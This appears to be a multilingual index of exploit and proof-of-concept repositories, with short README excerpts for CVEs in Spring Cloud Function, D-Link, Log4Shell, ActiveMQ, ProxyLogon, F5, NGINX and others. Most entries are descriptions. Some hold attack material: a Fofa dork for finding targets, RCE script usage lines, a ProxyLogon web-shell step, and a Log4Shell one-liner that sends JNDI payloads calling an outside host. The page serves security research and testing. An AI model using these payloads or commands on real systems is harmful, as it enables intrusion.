CVE-2022-22963-POC

CVE-2022-22963 Exploit Descripción En Spring Cloud Function versiones 3.1.6, 3.2.2 y versiones anteriores no soportadas, al usar la funcionalidad de enrutamiento es posible que un usuario proporcione un SpEL especialmente manipulado como expresión de enrutamiento que puede resultar en ejecución...

CVE-2024-10914

CVE-2024-10914 - D-Link 远程代码执行 RCE 漏洞利用 此脚本是针对 CVE-2024-10914 的概念验证 PoC 漏洞利用程序，该漏洞存在于某些 D-Link 设备中。该脚本用于识别并利用易受攻击的设备执行任意命令。 注意： 此脚本仅应用于教育目的或经授权的环境中。未经授权利用此漏洞可能属于非法且不道德的行为。 Finding Targets To find potential targets, use Fofa similar to Shodan.io: Fofa Dork: app="DLink-DNS-ShareCenter" &&...

CVE-2024-38063

CVE-2024-38063 - Vulnerabilidad de ejecución remota de código en TCP/IP de Windows. La ocurrencia de BSOD puede conducir a RCE, mientras que mi código solo causa BSOD. Estoy analizando continuamente el parche y realizando pruebas para lograr la ocurrencia de RCE en el sistema objetivo. Historial ...

msmq_re

msmqre Esta es una de las vulnerabilidades corregidas en MSMQ. https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/ 0:064 r rax=0000000000001000 rbx=000001b4ee9b5cf8 rcx=0000000000000006 rdx=000001b4240b5c24 rsi=0000000000000002...

CVE-RCE

Este repositorio no tiene un README...

osed-scripts

osed-scripts bespoke tooling for offensive security's Windows Usermode Exploit Dev course OSED Table of Contents Standalone Scripts egghunter.py find-gadgets.py shellcoder.py install-mona.sh attach-process.ps1 WinDbg Scripts find-ppr.py find-bad-chars.py search.py Standalone Scripts Installation:...

CVE-2020-5902-POC-EXP

CVE-2020-5902-POC-EXP 使用方法 python3 f5rce.py scan iplisttxt python3 f5rce.py https://test.cn:443 ifconfig 扫描模式 RCE模式...

Log4Shell-Payloads

🚨 Log4Shell 漏洞利用载荷集合 精心整理的 Log4Shell / Log4J 漏洞利用载荷 ，针对： CVE-2021-45046 CVE-2022-42889 🔗 由 @nav1n0x 🔥 单行载荷 ✅ 单行载荷1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l L4SFuzzList ✅ 单行命令2bash cat...

CVE-2023-46604

CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践，允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...

ProxyLogon

ProxyLogon 原始 PoC：https://github.com/testanull 使用方法： python proxylogon.py 示例： python proxylogon.py primary [email protected] 如果成功，您将进入一个网页 Shell。使用 exit 或 quit（或按 Ctrl+C）退出网页 Shell。 默认情况下，它将创建一个文件 test.aspx。这是可以更改的。 支持： 该项目不受支持，但欢迎提交 PR : 特别感谢与资源： @Flangvik @Testanull...

GitMiner

⚠️ 仓库已弃用 — 项目已替换 此仓库不再维护 ，并已正式弃用 。 该项目正在积极开发中，新地址为： https://github.com/unkl4b/Gitminer3 请迁移至 GitMiner3 以获取最新更新、改进和活跃支持。 + Autor: UnK + Blog: https://unkl4b.github.io + Github: https://github.com/danilovazb + Twitter: https://twitter.com/danilovaz 警告...

PPLFault

PPLFault By Gabriel Landau at Elastic Security. From PPLdump Is Dead. Long Live PPLdump! presented at Black Hat Asia 2023. PPLFault 2024-02 UPDATE: Microsoft patched PPLFault on 2024-02-13. Seethis thread for related discussion. Exploits a TOCTOU in Windows Code Integrity to achieve arbitrary cod...

CVE-2017-0199

Kit de herramientas de explotación CVE-2017-0199 - v4.0 El kit de herramientas de explotación CVE-2017-0199 - v4.0 es un práctico script de Python que proporciona a pentesters e investigadores de seguridad una forma rápida y eficaz de probar la ejecución remota de código RCE en Microsoft Office...

opendcim-exploit

openDCIM - SQLi to RCE via Config Poisoning Remote code execution chain targeting openDCIM's install.php LDAP configuration form. Built on the VulnCheck go-exploit framework. Vulnerability Chain | CVE| CWE| Description ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php performs no role check...

CVE-2026-42945

NGINX Rift RCE Proof of concept for CVE-2026-42945 , a critical heap buffer overflow in NGINX's ngxhttprewritemodule introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives. This vulnerability — along with three other memory...

CVE-2024-34716

CVE-2024-34716PoC Puedes encontrar más detalles técnicos en https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Instalación pip install -r requirements.txt Uso Usage: python exploit.py --url --email --local-ip --admin-path...

Recon2023

Diapositivas y código de Recon 2023...

CVE-2020-28018

CVE-2020-28018: Use-after-free UAF en Exim que conduce a RCE Introducción Existe una vulnerabilidad de use-after-free UAF en tls-openssl.c que permite a atacantes remotos no autenticados corromper datos de memoria interna, logrando así, finalmente, ejecución remota de código. Primitivas: Fuga de...

SGLang-0.5.9-RCE

SGLang SSTI a RCE PoC — Renderizado de plantillas de chat Jinja2 sin sandbox CVE-2026-5760 Ejecución remota de código mediante inyección de plantillas del lado del servidor SSTI en el endpoint de reranking de SGLang. Un archivo de modelo GGUF malicioso con un tokenizer.chattemplate manipulado log...

MagicSigner

MagicSigner Parcheador dll para signtool que permite firmar con certificados caducados Uso Simplemente coloque XmlLite.dll junto a signtool.exe Demo Antes de MagicSigner Después de MagicSigner Soluciones alternativas También puede simplemente atrasar el reloj de su computadora. Sin embargo, eso...